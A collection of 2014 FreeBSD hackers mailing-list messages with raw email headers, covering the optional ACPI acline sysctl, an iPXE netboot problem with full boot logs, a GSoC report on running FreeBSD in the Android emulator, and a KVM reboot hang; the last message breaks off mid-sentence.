owner-freebsd-hackers@FreeBSD.ORG Tue Jun 17 06:18:48 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4ADA160C; Tue, 17 Jun 2014 06:18:48 +0000 (UTC) Received: from mail-oa0-x22a.google.com (mail-oa0-x22a.google.com [IPv6:2607:f8b0:4003:c02::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 07C5828BB; Tue, 17 Jun 2014 06:18:47 +0000 (UTC) Received: by mail-oa0-f42.google.com with SMTP id eb12so7492979oac.1 for ; Mon, 16 Jun 2014 23:18:47 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:content-type; bh=L8vzFcyDtgr0v7LmyDT/OvJoVfcHKp6NPymQN6WiQ0o=; b=YB0iy/1KQMkvUG5jYsZzgXsF+EKTmoUCZ2fVhWTVGtBm+IbPwDfc6RRvP8+rfIjD3g kKrJzBJjd6PGczpG767q9YXIBfOdOwod096KE2BJ/KqRKC21kV98iYNJkoEehgJ9j5dJ sPAfeRbheMmY0Y6QrFWFgSroEZd88DOwFQaW0/IX3UeG6YdKUwxyentJakYX5PpGY2zD mPMjOnhbIJ5gU5MzFvPzsCMA+juw7Z8nvdm88epbsRrAAwatJZGn91oo773JyeZx6HsZ WMu8jcIWqXu7ZjRvxZ0olZ0ViUudKrlP8nngOPCC/yVJ8DhzV75qIBOMpmz3x77qwQf1 EGlg== MIME-Version: 1.0 X-Received: by 10.60.65.136 with SMTP id x8mr24682263oes.30.1402985927259; Mon, 16 Jun 2014 23:18:47 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.202.75.207 with HTTP; Mon, 16 Jun 2014 23:18:47 -0700 (PDT) In-Reply-To: <20140617002905.GW31367@funkthat.com> References: <539F56E9.8070809@muc.de> <539F6B3F.2000308@att.net> <20140617002905.GW31367@funkthat.com> Date: Tue, 17 Jun 2014 08:18:47 +0200 X-Google-Sender-Auth: caOaO78el1i6Sl9_09F6OM-9Bac Message-ID: Subject: Re: sysctl hw.acpi.acline From: CeDeROM To: Anthony Jenkins , freebsd-hackers@freebsd.org, freebsd-acpi@freebsd.org, Armin Gruner Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 17 Jun 2014 06:18:48 -0000 On Tue, Jun 17, 2014 at 2:29 AM, John-Mark Gurney wrote: > CeDeROM wrote this message on Tue, Jun 17, 2014 at 00:25 +0200: >> On Tue, Jun 17, 2014 at 12:10 AM, Anthony Jenkins >> wrote: >> > The absence of hw.acpi.battery and child oids probably implies there is no battery and the system may be assumed to be on line (A/C) power. >> >> Hello Anthony! I would prefer to have that information clearly defined >> in the manual :-) I guessed that this is a quick fix to first check > > Which manual? man acpi > ACPI have tons of optional stuff that isn't required to be present, > and apparently acline is one of them. Also, acline is only useful > if there are multiple power sources, what if you have a desktop > machine always running off a battery, if we defaulted acline=1, then > you'd complain that the status is wrong... :) There is no information in the ACPI Manual that the OID's are optional and may not exist in some cases. This is exactly the problem, an undefined and undocumented situation. Maybe its just worth putting a note :-) " hw.acpi.acline AC line state (1 means online, 0 means on battery power). " I expect code based on this oid to work on both desktop and laptop with no additional guessing. For me this manual information means that acline oid is always available, and will show 1 in case of desktop where no battery (maybe no UPS as well) is available. There is no information that this oid is optional. For desktop/server a battery power would mean UPS, right, so then I would also expect to see the battery charge status information.. but I understand this would be more complicated than in a laptop thus may not be implemented. Still, I would always expect power source type OID to tell me what is the power source, even if there can be only one. Best regards :-) Tomek -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 17 11:05:50 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 15EC1C7C for ; Tue, 17 Jun 2014 11:05:50 +0000 (UTC) Received: from kabab.cs.huji.ac.il (kabab.cs.huji.ac.il [132.65.116.12]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 9175121E4 for ; Tue, 17 Jun 2014 11:05:48 +0000 (UTC) Received: from th-04.cs.huji.ac.il ([132.65.80.125]) by kabab.cs.huji.ac.il with esmtp id 1WwrCs-0006iz-2g; Tue, 17 Jun 2014 14:05:38 +0300 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: iPXE booting latest PCengines alu board From: Daniel Braniss In-Reply-To: <5FA602AC-C827-4727-A038-B96FBEF8E6AB@cs.huji.ac.il> Date: Tue, 17 Jun 2014 14:05:00 +0300 Message-Id: <42ECF631-FC15-4036-8CD4-BC7B240AC265@cs.huji.ac.il> References: <9D14C4BD-8A13-43FC-ACDA-0315A58CEBC6@cs.huji.ac.il> <5399C6A0.9010506@sentex.net> <539B47C0.2050400@sentex.net> <5FA602AC-C827-4727-A038-B96FBEF8E6AB@cs.huji.ac.il> To: Mike Tancsa X-Mailer: Apple Mail (2.1878.2) Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 17 Jun 2014 11:05:50 -0000 After convincing DHCP to work nicely, I managed to boot freebsd via = pxeboot, stiil have one problem: if the ifs server is on the same network as the host, pxe = (PXE_UDP_WRITE) is not sending out anything out on the wire. if a gateway is needed, then all is ok. any ideas? On Jun 14, 2014, at 10:06 AM, Daniel Braniss = wrote: >=20 > On Jun 13, 2014, at 9:49 PM, Mike Tancsa wrote: >=20 >> On 6/13/2014 4:24 AM, Daniel Braniss wrote: >>>=20 >>> On Jun 12, 2014, at 6:26 PM, Mike Tancsa >> > wrote: >>>> If you mean http://www.pcengines.ch/apu.htm, just make sure you are >>>> booting a relatively recent FreeBSD version (newer than April I >>>=20 >>> no, it does not :-(, the bios has iPXE not PXE - notice the little = i) >>> after hitting ^B i managed some progress: >>> FreeBSD 7.0-RC1 #41: Sun Dec 30 15:19:13 IST 2007 >>=20 >> When I said newer than April, I meant newer than April 2014. You = really need to boot 7.0 ?? > you should have read the end of that message :-) > ... > and here it hung. > ok, so this is a very old kernel, which got selected by default, > (just shows how old the default is :-), but when I set it to = boot > 9.3-BETA2 via the latest pxeboot it hangs just after = initialising > the BTX. >=20 > can you send me your ipxe script, maybe I can figure out > what i=92m doing wrong? > thanks, > danny >=20 >=20 >>=20 >> I am netbooting RELENG_10 just fine >>=20 >> # head -20 /var/run/dmesg.boot >> Copyright (c) 1992-2014 The FreeBSD Project. >> Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, = 1994 >> The Regents of the University of California. All rights = reserved. >> FreeBSD is a registered trademark of The FreeBSD Foundation. >> FreeBSD 10.0-STABLE #1 r262980M: Mon Mar 10 16:54:07 EDT 2014 >> = mdtancsa@ich10.sentex.ca:/home/pxe10/usr/obj/home/pxe10/usr/src/sys/GENERI= C i386 >> FreeBSD clang version 3.3 (tags/RELEASE_33/final 183502) 20130610 >> CPU: AMD G-T40E Processor (1000.02-MHz 686-class CPU) >> Origin =3D "AuthenticAMD" Id =3D 0x500f20 Family =3D 0x14 Model =3D = 0x2 Stepping =3D 0 >> = Features=3D0x178bfbff >> Features2=3D0x802209 >> AMD Features=3D0x2e500800 >> AMD = Features2=3D0x35ff >> TSC: P-state invariant, performance statistics >> real memory =3D 3741364224 (3568 MB) >> avail memory =3D 3652464640 (3483 MB) >> Event timer "LAPIC" quality 400 >> ACPI APIC Table: >> FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs >> FreeBSD/SMP: 1 package(s) x 2 core(s) >>=20 >>=20 >>=20 >>=20 >> Searching bootorder for: /rom@genroms/pxeboot.rom >> Press F12 for boot menu. >>=20 >> drive 0x000fd910: PCHS=3D0/0/0 translation=3Dlba LCHS=3D957/64/63 = s=3D3862528 >> drive 0x000fd940: PCHS=3D16383/16/63 translation=3Dlba = LCHS=3D1024/255/63 s=3D61865984 >> Space available for UMB: 000c1000-000ee000 >> Returned 49152 bytes of ZoneHigh >> e820 map has 6 items: >> 0: 0000000000000000 - 000000000009fc00 =3D 1 RAM >> 1: 000000000009fc00 - 00000000000a0000 =3D 2 RESERVED >> 2: 00000000000f0000 - 0000000000100000 =3D 2 RESERVED >> 3: 0000000000100000 - 000000007e16ac00 =3D 1 RAM >> 4: 000000007e16ac00 - 000000007efffc00 =3D 2 RESERVED >> 5: 00000000f8000000 - 00000000f9000000 =3D 2 RESERVED >> enter handle_19: >> NULL >> Booting from ROM... >> Booting from c000:0358 >> iPXE (PCI 00:00.0) starting execution...ok >> iPXE initialising devices...ok >>=20 >>=20 >>=20 >> iPXE 1.0.0+ (b757) -- Open Source Network Boot Firmware -- = http://ipxe.org >> Features: HTTP iSCSI DNS TFTP AoE bzImage ELF MBOOT PXE PXEXT Menu >>=20 >> net0: 00:0d:b9:33:11:c4 using rtl8168 on PCI01:00.0 (open) >> [Link:down, TX:0 TXE:0 RX:0 RXE:0] >> [Link status: Down (http://ipxe.org/38086101)] >> Waiting for link-up on net0... failed: Down = (http://ipxe.org/38086101) >> net1: 00:0d:b9:33:11:c5 using rtl8168 on PCI02:00.0 (open) >> [Link:up, TX:0 TXE:0 RX:0 RXE:0] >> DHCP (net1 00:0d:b9:33:11:c5)........... ok >> net1: 192.168.43.213/255.255.255.0 gw 192.168.43.1 >> Nothing to boot: No such file or directory (http://ipxe.org/2d03e13b) >> net2: 00:0d:b9:33:11:c6 using rtl8168 on PCI03:00.0 (open) >> [Link:up, TX:0 TXE:0 RX:0 RXE:0] >> DHCP (net2 00:0d:b9:33:11:c6)...... ok >> net1: 192.168.43.213/255.255.255.0 gw 192.168.43.1 (inaccessible) >> net2: 10.255.255.75/255.255.255.0 gw 10.255.255.1 >> Next server: 10.255.255.1 >> Filename: pxe10/boot/pxeboot >> Root path: /home/pxe10 >> tftp://10.255.255.1/pxe10/boot/pxeboot... ok >> PXE Loader 1.00 >>=20 >> Building the boot loader arguments >> Relocating the loader and the BTX >> Starting the BTX loader >> /boot/kernel/kernel text=3D0xf09688 data=3D0xd02e8+0xe61e8 = syms=3D[0x4+0xd2850+0x4+0x15704b] >> | >> ______ ____ _____ _____ >> | ____| | _ \ / ____| __ \ >> | |___ _ __ ___ ___ | |_) | (___ | | | | >> | ___| '__/ _ \/ _ \| _ < \___ \| | | | >> | | | | | __/ __/| |_) |____) | |__| | >> | | | | | | || | | | >> |_| |_| \___|\___||____/|_____/|_____/ ``` = ` >> s` `.....---.......--.``` = -/ >> +------------Welcome to FreeBSD-----------+ +o .--` /y:` = +. >> | | yo`:. :o = `+- >> | 1. Boot Multi User [Enter] | y/ -/` = -o/ >> | 2. Boot [S]ingle User | .- = ::/sy+:. >> | 3. [Esc]ape to loader prompt | / = `-- / >> | 4. Reboot | `: = :` >> | | `: = :` >> | Options: | / = / >> | 5. Configure Boot [O]ptions... | .- = -. >> | | -- = -. >> | | `:` = `:` >> | | .-- `--. >> | | .---.....----. >> +-----------------------------------------+ >>=20 >>=20 >> Booting... >> Copyright (c) 1992-2014 The FreeBSD Project. >> Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, = 1994 >> The Regents of the University of California. All rights = reserved. >> FreeBSD is a registered trademark of The FreeBSD Foundation. >> FreeBSD 10.0-STABLE #3 r267161: Fri Jun 6 13:55:58 EDT 2014 >> = mdtancsa@ich10.sentex.ca:/home/pxe10/usr/obj/home/pxe10/usr/src/sys/GENERI= C i386 >> FreeBSD clang version 3.4.1 (tags/RELEASE_34/dot1-final 208032) = 20140512 >> CPU: AMD G-T40E Processor (1000.02-MHz 686-class CPU) >> Origin =3D "AuthenticAMD" Id =3D 0x500f20 Family =3D 0x14 Model =3D = 0x2 Stepping =3D 0 >> = Features=3D0x178bfbff >> Features2=3D0x802209 >> AMD Features=3D0x2e500800 >> AMD = Features2=3D0x35ff >> TSC: P-state invariant, performance statistics >> real memory =3D 2114293760 (2016 MB) >> avail memory =3D 2052497408 (1957 MB) >> Event timer "LAPIC" quality 400 >> ACPI APIC Table: >> FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs >> FreeBSD/SMP: 1 package(s) x 2 core(s) >> cpu0 (BSP): APIC ID: 0 >> cpu1 (AP): APIC ID: 1 >> random device not loaded; using insecure entropy >> ioapic0 irqs 0-23 on motherboard >> kbd0 at kbdmux0 >> random: initialized >> module_register_init: MOD_LOAD (vesa, 0xc0f67220, 0) error 19 >> acpi0: on motherboard >> acpi0: Power Button (fixed) >> cpu0: on acpi0 >> cpu1: on acpi0 >> atrtc0: port 0x70-0x71 irq 8 on acpi0 >> Event timer "RTC" frequency 32768 Hz quality 0 >> attimer0: port 0x40-0x43 irq 0 on acpi0 >> Timecounter "i8254" frequency 1193182 Hz quality 0 >> Event timer "i8254" frequency 1193182 Hz quality 100 >> Timecounter "ACPI-fast" frequency 3579545 Hz quality 900 >> acpi_timer0: <32-bit timer at 3.579545MHz> port 0x808-0x80b on acpi0 >> hpet0: iomem 0xfed00000-0xfed003ff on = acpi0 >> Timecounter "HPET" frequency 14318180 Hz quality 950 >> Event timer "HPET" frequency 14318180 Hz quality 550 >> Event timer "HPET1" frequency 14318180 Hz quality 450 >> pcib0: port 0xcf8-0xcff on acpi0 >> pci0: on pcib0 >> pcib1: at device 4.0 on pci0 >> pci1: on pcib1 >> re0: port = 0x1000-0x10ff mem 0xfe500000-0xfe500fff,0xfe400000-0xfe403fff at device = 0.0 on pci1 >> re0: Using 1 MSI-X message >> re0: ASPM disabled >> re0: Chip rev. 0x2c000000 >> re0: MAC rev. 0x00200000 >> miibus0: on re0 >> rgephy0: PHY 1 on = miibus0 >> rgephy0: none, 10baseT, 10baseT-FDX, 10baseT-FDX-flow, 100baseTX, = 100baseTX-FDX, 100baseTX-FDX-flow, 1000baseT, 1000baseT-master, = 1000baseT-FDX, 1000baseT-FDX-master, 1000baseT-FDX-flow, = 1000baseT-FDX-flow-master, auto, auto-flow >> re0: Ethernet address: 00:0d:b9:33:11:c4 >> pcib2: at device 5.0 on pci0 >> pci2: on pcib2 >> re1: port = 0x2000-0x20ff mem 0xfe700000-0xfe700fff,0xfe600000-0xfe603fff at device = 0.0 on pci2 >> re1: Using 1 MSI-X message >> re1: ASPM disabled >> re1: Chip rev. 0x2c000000 >> re1: MAC rev. 0x00200000 >> miibus1: on re1 >> rgephy1: PHY 1 on = miibus1 >> rgephy1: none, 10baseT, 10baseT-FDX, 10baseT-FDX-flow, 100baseTX, = 100baseTX-FDX, 100baseTX-FDX-flow, 1000baseT, 1000baseT-master, = 1000baseT-FDX, 1000baseT-FDX-master, 1000baseT-FDX-flow, = 1000baseT-FDX-flow-master, auto, auto-flow >> re1: Ethernet address: 00:0d:b9:33:11:c5 >> pcib3: at device 6.0 on pci0 >> pci3: on pcib3 >> re2: port = 0x3000-0x30ff mem 0xfe900000-0xfe900fff,0xfe800000-0xfe803fff at device = 0.0 on pci3 >> re2: Using 1 MSI-X message >> re2: ASPM disabled >> re2: Chip rev. 0x2c000000 >> re2: MAC rev. 0x00200000 >> miibus2: on re2 >> rgephy2: PHY 1 on = miibus2 >> rgephy2: none, 10baseT, 10baseT-FDX, 10baseT-FDX-flow, 100baseTX, = 100baseTX-FDX, 100baseTX-FDX-flow, 1000baseT, 1000baseT-master, = 1000baseT-FDX, 1000baseT-FDX-master, 1000baseT-FDX-flow, = 1000baseT-FDX-flow-master, auto, auto-flow >> re2: Ethernet address: 00:0d:b9:33:11:c6 >> pcib4: at device 7.0 on pci0 >> pci4: on pcib4 >> ath0: mem 0xfea00000-0xfea0ffff at device 0.0 on pci4 >> ath0: [HT] enabling HT modes >> ath0: [HT] 1 stream STBC receive enabled >> ath0: [HT] 1 stream STBC transmit enabled >> ath0: [HT] 2 RX streams; 2 TX streams >> ath0: AR9280 mac 128.2 RF5133 phy 13.0 >> ath0: 2GHz radio: 0x0000; 5GHz radio: 0x00c0 >> ahci0: port = 0x4020-0x4027,0x4040-0x4043,0x4028-0x402f,0x4044-0x4047,0x4000-0x400f = mem 0xfeb04000-0xfeb043ff at device 17.0 on pci0 >> ahci0: AHCI v1.20 with 4 6Gbps ports, Port Multiplier supported >> ahcich0: at channel 0 on ahci0 >> ahcich1: at channel 1 on ahci0 >> ahcich2: at channel 2 on ahci0 >> ahcich3: at channel 3 on ahci0 >> ohci0: mem = 0xfeb00000-0xfeb00fff at device 18.0 on pci0 >> usbus0 on ohci0 >> ehci0: mem = 0xfeb04400-0xfeb044ff at device 18.2 on pci0 >> usbus1: EHCI version 1.0 >> usbus1 on ehci0 >> ohci1: mem = 0xfeb01000-0xfeb01fff at device 19.0 on pci0 >>=20 >> .... >>=20 >> ---Mike >>=20 >>=20 >> --=20 >> ------------------- >> Mike Tancsa, tel +1 519 651 3400 >> Sentex Communications, mike@sentex.net >> Providing Internet services since 1994 www.sentex.net >> Cambridge, Ontario Canada http://www.tancsa.com/ >=20 > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 17 06:12:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 79012574; Tue, 17 Jun 2014 06:12:46 +0000 (UTC) Received: from sola.nimnet.asn.au (paqi.nimnet.asn.au [115.70.110.159]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id E63682895; Tue, 17 Jun 2014 06:12:44 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by sola.nimnet.asn.au (8.14.2/8.14.2) with ESMTP id s5H6CeMe054143; Tue, 17 Jun 2014 16:12:40 +1000 (EST) (envelope-from smithi@nimnet.asn.au) Date: Tue, 17 Jun 2014 16:12:40 +1000 (EST) From: Ian Smith To: CeDeROM Subject: Re: sysctl hw.acpi.acline In-Reply-To: Message-ID: <20140617153436.G609@sola.nimnet.asn.au> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Mailman-Approved-At: Tue, 17 Jun 2014 11:30:27 +0000 Cc: freebsd-hackers@freebsd.org, freebsd-acpi@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 17 Jun 2014 06:12:46 -0000 On Mon, 16 Jun 2014 16:36:42 +0200, CeDeROM wrote: > One application that I am porting needs to know the power supply > information from the system. I thought using SYSCTL + ACPI would be > the simplest and elegant way. But, I found out that information on the > power supply is only available on the laptop machines, while on the > desktop machines it does not apply. According to the "man acpi", the > "hw.acpi.acline" oid tells the AC line state, so I guess desktop > should always tell 1, but there is no such oid on my desktop.. > > Is this a bug or feature? :-) Definitely a feature. The absence of this OID is a sure way to tell if the machine you're talking to - which may be remote, so you may not know how it's being powered - is or is not (capable of) running on battery. > How can I tell the power source on my FreeBSD (i.e. AC, Battery, UPS)? > > man acpi: > ... > hw.acpi.acline > AC line state (1 means online, 0 means on battery power). > > root@hexagon:~ # sysctl hw.acpi.acline > sysctl: unknown oid 'hw.acpi.acline': No such file or directory So this is an AC powered machine. And it is, most certainly, ON. Perhaps what you need to do is fit one of these to your machine: DED (pronounced "dead") (dark emitting diode) A variation of LED technology used exclusively by the CIA for clandestine equipment. Also popular as power-off indicators. http://www.rane.com/par-d.html You could also add a DDR (dark dependant resistor) circuit to ring a bell whenever the DED is emitting, just to be sure it really is OFF. You should probably avoid using the new super-dark DEDs or you may find your room plunged into impenetrable darkness whenever power goes off. Seriously for a moment: if you do have a UPS you'll need to interrogate the UPS software - which varies for different brands of UPS so can't be integrated with the BIOS/ACPI - for its state, as David mentioned. cheers, Ian From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 17 13:11:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 47C07C2F; Tue, 17 Jun 2014 13:11:52 +0000 (UTC) Received: from mail-wi0-x236.google.com (mail-wi0-x236.google.com [IPv6:2a00:1450:400c:c05::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 6DC722E0F; Tue, 17 Jun 2014 13:11:51 +0000 (UTC) Received: by mail-wi0-f182.google.com with SMTP id bs8so5786452wib.15 for ; Tue, 17 Jun 2014 06:11:49 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=BpgIXHVI7jRjLWvQ86n0Ath3bIjTWLFMFYwEwZmK8EU=; b=ZHyx6CeskynsnoyY6A2zDBVU/1q7/QGIYCMVGqgdg2bjWCOP0qPZTMn+K5qDkewkwS DLT3Qpym1Nt0hmEBKlt1x5+XmfJogxV53Me6twdYGQmba1rwYhSm3bmM+KDslpuH14G8 tLN0lQDNcB+ahsi28qsFPZzX6AftI+Cptr/8j1NSM/0dFmVi3iucJE1rs4H9QLNfMXG1 wM2Wv4mTV8Jt7dwsUIfjjyd3VqFq7KQeddCtB7VnmLoe0GfgxsLtQ60MYs+bjQMaTQSV Osaj9tLH5/MZlpYopthecgrDB+58qi9c/vQRisrz2CVqdZi3nnId5wthR6vvvDjsAxA0 Zk9g== MIME-Version: 1.0 X-Received: by 10.180.84.226 with SMTP id c2mr36625484wiz.50.1403010709514; Tue, 17 Jun 2014 06:11:49 -0700 (PDT) Received: by 10.180.90.15 with HTTP; Tue, 17 Jun 2014 06:11:49 -0700 (PDT) Date: Tue, 17 Jun 2014 17:11:49 +0400 Message-ID: Subject: FreeBSD on ARM Android Emulator [June 9 - 16] From: Alexander Tarasikov To: "freebsd-arm@freebsd.org" , freebsd-hackers@freebsd.org, Gavin Atkinson , soc-status@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 17 Jun 2014 13:11:52 -0000 Hi! I'll summarize what I've been up to recently. I have done a relatively large part of work at the start of May prior to the start of coding period but was unfortunately unable to work at the end of May due to my studies. Tonight I've pushed the code to my svn branch and updated the wiki. Here is my report on what has been done and what I want to work on next. I now have the FreeBSD 10 kernel starting up and writing text to emulator's UART (I was using fbsd10 during development to avoid switching versions in process. I have migrated the code to 'HEAD' yesterday, but it doesn't boot yet, I'm investigating). The following drivers are implemented: PIC (Interrupt controller), Timer, UART, Ethernet (the emulator emulates SMSC91xx, it's just MMIO). I have implemented the framebuffer driver, but have not fully tested it yet. I have tested that it initializes the device and the screen turns white when I memset framebuffer memory with 0xff, but I was unable to get SYSCONS working. If I attach the fb driver to sysbus, it doesn't register - I suppose it would if I actually mounted rootfs, but since I don't, it is just too early. On the other hand, if I attach it to fdtbus, I get a null pointer dereference in sc_attach_unit because syscons driver is not installed that early. Regarding the rootfs boot, I have discovered that Android Emulator uses the virtual NAND chip to access "system.img" file, which is what the user gets when they download an image for Android Emulator. Virtual MMC is only used to access user data image, which is generated at the user's machine. I could probably try NFS boot or booting from an MD ramdisk, but I want to have NAND working first. I have a question regarding the Device Tree. Android Emulator has a virtual device called "pdev" which allows to get the list of available devices and their MMIO ranges. Although this data is unlikely to change, it would be nice to implement it because this is an interesting use case. What is the advised way to do it? Should I register the PDEV as a simple-bus device and patch the FDT inside its probe function or will it not work? During the next two weeks I want to have the driver for NAND and get the kernel to boot the userland. After that I'll build an image which one can load into the emulator for testing. Next I'll write drivers for some peripherals. Android Emulator provides several virtual devices. Most interesting are sensors (accelerometer/gyroscope), multiple input event sources (keyboard, touchscreen), audio driver. I think they are important because only a few boards (rPI, IMX6, OMAP3) provide the support for display and I'm not sure if any board supports audio or sensors. Writing drivers for uncommon features will provide a set of sample code which can be used to bring up real boards. If I have spare time before the end of GSoC, I will start porting FreeBSD to Google Nexus 5 phone with Qualcomm MSM8974 CPU, I want to have at least framebuffer and touchscreen working. If I don't have extra time, I don't think I will port FreeBSD to Nexus after GSoC because writing drivers is rather boring, and since Qemu has recently gained support for AArch64 (which is 64-bit ARM), I think it is a more interesting area to experiment with. Overall I have found that some drivers like syscons (framebuffer), UART, become unnecessarily complicated with a lot of dummy functions which need to be implemented, but looks like some cleanup was done in HEAD as compared to 10.0. I think I'll look into it after I'm done with the emulator project. Maybe it would be good to factor out some common code into a generic driver ? -- Regards, Alexander From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 17 16:59:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 76FB3D5A; Tue, 17 Jun 2014 16:59:17 +0000 (UTC) Received: from secure.freebsdsolutions.net (secure.freebsdsolutions.net [69.55.234.48]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 3B413246A; Tue, 17 Jun 2014 16:59:16 +0000 (UTC) Received: from [10.10.1.198] (office.betterlinux.com [199.58.199.60]) (authenticated bits=0) by secure.freebsdsolutions.net (8.14.4/8.14.4) with ESMTP id s5HGx6rx056955 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Tue, 17 Jun 2014 12:59:07 -0400 (EDT) (envelope-from lists@jnielsen.net) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: consistent VM hang during reboot From: John Nielsen In-Reply-To: <0238084D-FD0F-42A5-85F5-597A590E666C@jnielsen.net> Date: Tue, 17 Jun 2014 10:59:14 -0600 Content-Transfer-Encoding: quoted-printable Message-Id: <7D960087-1839-4295-AEE3-5D8F60D9D710@jnielsen.net> References: <201405081303.17079.jhb@freebsd.org> <2CCD4068-A9CB-442C-BB91-ADBF62FF22C6@jnielsen.net> <83DA2398-0004-49EC-8AC1-9AA64F33A194@jnielsen.net> <0238084D-FD0F-42A5-85F5-597A590E666C@jnielsen.net> To: "freebsd-hackers@freebsd.org" , "freebsd-virtualization@freebsd.org" X-Mailer: Apple Mail (2.1878.2) X-DCC-sonic.net-Metrics: ns1.jnielsen.net 1117; Body=2 Fuz1=2 Fuz2=2 X-Virus-Scanned: clamav-milter 0.97.8 at ns1.jnielsen.net X-Virus-Status: Clean X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 17 Jun 2014 16:59:17 -0000 On Jun 13, 2014, at 4:23 PM, John Nielsen wrote: > On Wednesday, May 07, 2014 7:15:43 pm John Nielsen wrote: >> I am trying to solve a problem with amd64 FreeBSD virtual machines = running on a Linux+KVM hypervisor. To be honest I'm not sure if the = problem is in FreeBSD or the hypervisor, but I'm trying to rule out the = OS first. >>=20 >> The _second_ time FreeBSD boots in a virtual machine with more than = one core, the boot hangs just before the kernel would normally print = e.g. "SMP: AP CPU #1 Launched!" (The last line on the console is = "usbus0: 12Mbps Full Speed USB v1.0", but the problem persists even = without USB). The VM will boot fine a first time, but running either = "shutdown -r now" OR "reboot" will lead to a hung second boot. Stopping = and starting the host qemu-kvm process is the only way to continue. ... > Following up on the off chance anyone else is interested. I installed = -HEAD on a host that was having the problem ("v2" Xeon CPU) and ran a = FreeBSD 9 VM under bhyve. The problem did _not_ persist. That's not = entirely conclusive but it does point the finger at Qemu a bit more = strongly. I have filed a bug with them: > https://bugs.launchpad.net/qemu/+bug/1329956 With some help from the Qemu and KVM folks I've finally made some = headway. The salient difference between the working and non-working CPUs = above seems to be support for APIC virtualization. Loading the intel_kvm = module (on the Linux host) with "enable_apicv=3DN" works around the = reboot problem I've been having. Since this now looks like a Linux KVM 